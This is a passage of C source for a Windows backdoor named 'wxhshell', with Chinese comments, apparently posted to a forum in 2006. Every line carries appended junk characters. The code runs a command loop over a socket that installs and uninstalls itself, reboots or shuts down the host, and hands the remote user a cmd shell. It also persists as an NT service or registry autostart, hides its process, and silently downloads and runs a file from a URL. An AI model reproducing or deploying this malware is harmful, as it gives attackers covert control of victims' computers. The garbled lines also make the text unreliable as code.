  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G nG>7f[v  
  } j?+X\PtQ  
  else { ruy}/7uf  
 \*<d{gZ~  
    switch(cmd[0]) { `V04\05  
  >m$ 1+30X  
  // 帮助 )h)]SF}  
  case '?': { (}2~<   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); % S os  
    break; <q@a~'Ai?!  
  } sL$:"=  
  // 安装 )<tI!I][j  
  case 'i': { zld#qG6  
    if(Install()) c.e2M/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,/0/?)*_  
    else NN?`"Fww  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gp\<p-}  
    break; .~7FyLl$  
    } ?)ONf#4Y  
  // 卸载 2_Z ? #Y  
  case 'r': { M "94#.dKK  
    if(Uninstall()) v p/yG   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U3dwI:cG  
    else K>@+m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AnX%[W "  
    break; e(<st r>  
    } [wzb<"kW  
  // 显示 wxhshell 所在路径 s|y "WDyx5  
  case 'p': { ZG&>:Si;  
    char svExeFile[MAX_PATH]; mmk=97  
    strcpy(svExeFile,"\n\r"); #iHs* /85  
      strcat(svExeFile,ExeFile); O[ef#R!  
        send(wsh,svExeFile,strlen(svExeFile),0); Fkd+pS\9g~  
    break; fNW"+ <W  
    } }|8_9Rx0*  
  // 重启  cHk)i  
  case 'b': { AiO$<CS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vo'T!e- B  
    if(Boot(REBOOT)) 2|*JSU.I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z\%67C  
    else { 1 P!Yxeh  
    closesocket(wsh); ~ r4 38&  
    ExitThread(0); M]2]\km  
    } !*B'?|a<\  
    break; M# %a(Y3K)  
    } S;286[oq@  
  // 关机 ]z/8KL  
  case 'd': { oV|4V:G q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1`qMj0Y_  
    if(Boot(SHUTDOWN)) IvtJ0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _v> }_S  
    else { hJpxf,?'K  
    closesocket(wsh); A"dR{8&0  
    ExitThread(0); Lo N< oj5  
    } +Z !)^j  
    break; .Z `av n  
    } hRD=Y<>A  
  // 获取shell U!*M*s  
  case 's': { I7n"&{s"*  
    CmdShell(wsh); EWkLXU6t  
    closesocket(wsh); r w2arx  
    ExitThread(0); FWG6uKv  
    break; 3@$,s~+ 3  
  } D!Pq4'd(  
  // 退出 0vD7v  
  case 'x': { S]Mw #O|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]rH\`0  
    CloseIt(wsh); MS 81sN\d  
    break; 8h*Icf  
    } 'R'*kxf  
  // 离开 V8C:"UZ;  
  case 'q': { SVh 7zh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \kMefU  
    closesocket(wsh); !W}9no  
    WSACleanup(); "AsKlKz{B  
    exit(1); # Oc] @  
    break; j2StXq3  
        } keX,d#  
  } gv- xm  
  } %4,O 2\0?&  
pm 9"4z  
  // 提示信息 lvBx\e;7P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); koZ*+VP=  
} qzKdQ&vO  
  } 2db3I:;E  
ZQ%'`q\c  
  return;  ~- _kM  
} Gi?/C&1T  
V)~.~2$  
// shell模块句柄 QSdHm  
int CmdShell(SOCKET sock) v4`"1Ss,K  
{ H Y&DmE  
STARTUPINFO si; [S9K6%w_!  
ZeroMemory(&si,sizeof(si)); ;5S9y7[i|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Z+8r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qG?Qc (  
PROCESS_INFORMATION ProcessInfo; -w}]fb2Q>  
char cmdline[]="cmd"; C'.L20qW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bn#?zI  
  return 0; j7$e28|_n  
} !sQY&*  
+eK"-u~K  
// 自身启动模式 aW)-?(6>  
int StartFromService(void) mD$A4Y-'p  
{ >~[c|ffyo/  
typedef struct H8Bs<2  
{ `>f6) C-  
  DWORD ExitStatus; @"Fme-~  
  DWORD PebBaseAddress; j,lT>/  
  DWORD AffinityMask; S1Wj8P-  
  DWORD BasePriority; *`ua'"="k  
  ULONG UniqueProcessId; n 22zq6m  
  ULONG InheritedFromUniqueProcessId; &_dt>.  
}   PROCESS_BASIC_INFORMATION; {JZZZY!n2  
Tc>   
PROCNTQSIP NtQueryInformationProcess; .w=/+TA  
r ~jm`y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \E72L5nJW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PV'x+bN5  
4sF"6+%5d  
  HANDLE             hProcess; 5cL83FQh  
  PROCESS_BASIC_INFORMATION pbi; 1 d}Z(My  
u~7hWiY<2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H]{v;;'~  
  if(NULL == hInst ) return 0; C*)3e*T*  
GP!?^r:en  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^84G%)`&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rb5~XnJk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \o}xF@sM5  
vj'wm}/  
  if (!NtQueryInformationProcess) return 0; : UGZ+  
Bu<M\w?7Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;4R$g5-4X  
  if(!hProcess) return 0; wSzv|\ G  
591>rh)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +7D|4  
c }Ft^Il  
  CloseHandle(hProcess); OE_XCZ!5P  
S!jTyY7e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /32Fy`KV  
if(hProcess==NULL) return 0; "CSsCA$/  
A-Sv;/yD_  
HMODULE hMod; L-jJg,eY  
char procName[255]; bhTb[r  
unsigned long cbNeeded; u)X=Qm)  
rdl;M>0@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <k eVrCR  
b#uL?f  
  CloseHandle(hProcess); @| M|+k3  
@Lpq~ 1eZB  
if(strstr(procName,"services")) return 1; // 以服务启动 \\PjKAsh  
}iXDa?6%  
  return 0; // 注册表启动 W98i[Q9A7  
} B6u/mo<  
YIn',]p:  
// 主模块 ;(f) &Yom  
int StartWxhshell(LPSTR lpCmdLine) .*@;@06?  
{ FOv=!'S o  
  SOCKET wsl; a]JYDq`,3  
BOOL val=TRUE; BWeA@v  
  int port=0; [pC$+NX  
  struct sockaddr_in door; 3c#BKHNC  
%+ @O#P  
  if(wscfg.ws_autoins) Install(); @K\~O__  
q}`${3qQ3  
port=atoi(lpCmdLine); nW PF6V>  
_GXk0Ia3`  
if(port<=0) port=wscfg.ws_port; =e/9&993  
-V-RP;">  
  WSADATA data; [.O?Z=5a[V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YZLkL26[  
]{)a,c NG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aGrIQq/k)%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1t:Q_j0Ym  
  door.sin_family = AF_INET; ;kFDMuuO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :#LLo}LKp  
  door.sin_port = htons(port); T%.8 '9  
%824Cqdc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6*PYFf`  
closesocket(wsl); B8nf,dj?X  
return 1; -E^vLB)O  
} iQ tN Aj  
o1-m1<ft  
  if(listen(wsl,2) == INVALID_SOCKET) { 3B1XZm  
closesocket(wsl); #ZJ _T`l  
return 1; =}lh_  
} 3AHlSX  
  Wxhshell(wsl); G! ]k#.^A,  
  WSACleanup(); WQ~;;.v#  
<Y*+|T+&d  
return 0; :=}US}H$  
`>gd&u  
} K$&s=Hm  
k52/w)Ro,$  
// 以NT服务方式启动 )bS~1n_0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wF IegC(  
{ q$ZHd  
DWORD   status = 0; S'|,oUWDb  
  DWORD   specificError = 0xfffffff; ?zeJ#i  
^WHE$4U`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o>).Cj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @E;=*9ek{u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RTvqCp  
  serviceStatus.dwWin32ExitCode     = 0; HTVuStM8  
  serviceStatus.dwServiceSpecificExitCode = 0; *i\Qo  
  serviceStatus.dwCheckPoint       = 0; D N'3QQn  
  serviceStatus.dwWaitHint       = 0; na#CpS;pc  
E=jNi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8qY79)vD4E  
  if (hServiceStatusHandle==0) return; %b%-Ogz;4  
vL|SY_:4  
status = GetLastError(); Keuf9u  
  if (status!=NO_ERROR) di?K"Z>  
{ TlXI|3Ip  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B:dB,3,`(  
    serviceStatus.dwCheckPoint       = 0; D2<fw#  
    serviceStatus.dwWaitHint       = 0; ^"VJd[Hn  
    serviceStatus.dwWin32ExitCode     = status; W}3.E "K  
    serviceStatus.dwServiceSpecificExitCode = specificError; "8c@sHk(w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fRrvNj0{ V  
    return; w:%o?pKet1  
  } hXfQ)$J  
{J{+FFsr(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V[{6e  
  serviceStatus.dwCheckPoint       = 0; CpA|4'#  
  serviceStatus.dwWaitHint       = 0; qS403+Su1=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _76PIR{an  
} yL%K4$z  
y-T| #  
// 处理NT服务事件,比如:启动、停止 ^M3~^lV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rx $mk  
{ ?HTj mIb  
switch(fdwControl) M9Cv wMi  
{ "JVkVp[5D+  
case SERVICE_CONTROL_STOP: ks3`3q 7  
  serviceStatus.dwWin32ExitCode = 0; TMAJb+@l:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; " W!M[qBW  
  serviceStatus.dwCheckPoint   = 0; XxT#X3D/,"  
  serviceStatus.dwWaitHint     = 0; qd9cI&  
  { vqnw#U4`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ipf|")*  
  } Da&vb D-Bg  
  return; ,LTH;<zB)  
case SERVICE_CONTROL_PAUSE: VGfMN|h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @x9a?L.48  
  break; 0Oi,#]F  
case SERVICE_CONTROL_CONTINUE: `k=bL"T>\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {FO;Yg'  
  break; E'v _#FLvR  
case SERVICE_CONTROL_INTERROGATE: {kp-h2I,  
  break; %u`8minCt  
}; x9$` W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _.>QEh5"5  
} 2{]`W57_=  
aiQ>xen5C5  
// 标准应用程序主函数 YCdS!&^UN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9iXeBC  
{ G3{Q"^S"  
rFIqC:=  
// 获取操作系统版本 /d0K7F  
OsIsNt=GetOsVer(); ^g*pGrl#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4oK?-|=?  
.clP#r{U  
  // 从命令行安装 guX 9}  
  if(strpbrk(lpCmdLine,"iI")) Install(); *Nw&_<\9Q  
V\6=ySx  
  // 下载执行文件 VOKZ dC-  
if(wscfg.ws_downexe) { p%iGc<vHX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .9,zL=)Ba  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6$fHtJD:  
} 2]I4M[|&z  
$h^wG)s2P  
if(!OsIsNt) {  u*e.yN  
// 如果时win9x,隐藏进程并且设置为注册表启动 i#7DR>XF/  
HideProc(); WF2}-NU"  
StartWxhshell(lpCmdLine); IKABBW  
} A&s:\3*Kh  
else B,M(@5wz  
  if(StartFromService()) UV5Ie!\nm  
  // 以服务方式启动 / rg*p  
  StartServiceCtrlDispatcher(DispatchTable); ]NjX?XdX<  
else O>SLOWgha  
  // 普通方式启动 x6(~;J  
  StartWxhshell(lpCmdLine); t]>Lh>G  
&?VQ,+[ <  
return 0; tDSJpW'd  
}
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只看该作者 1 发表于: 2006-10-10
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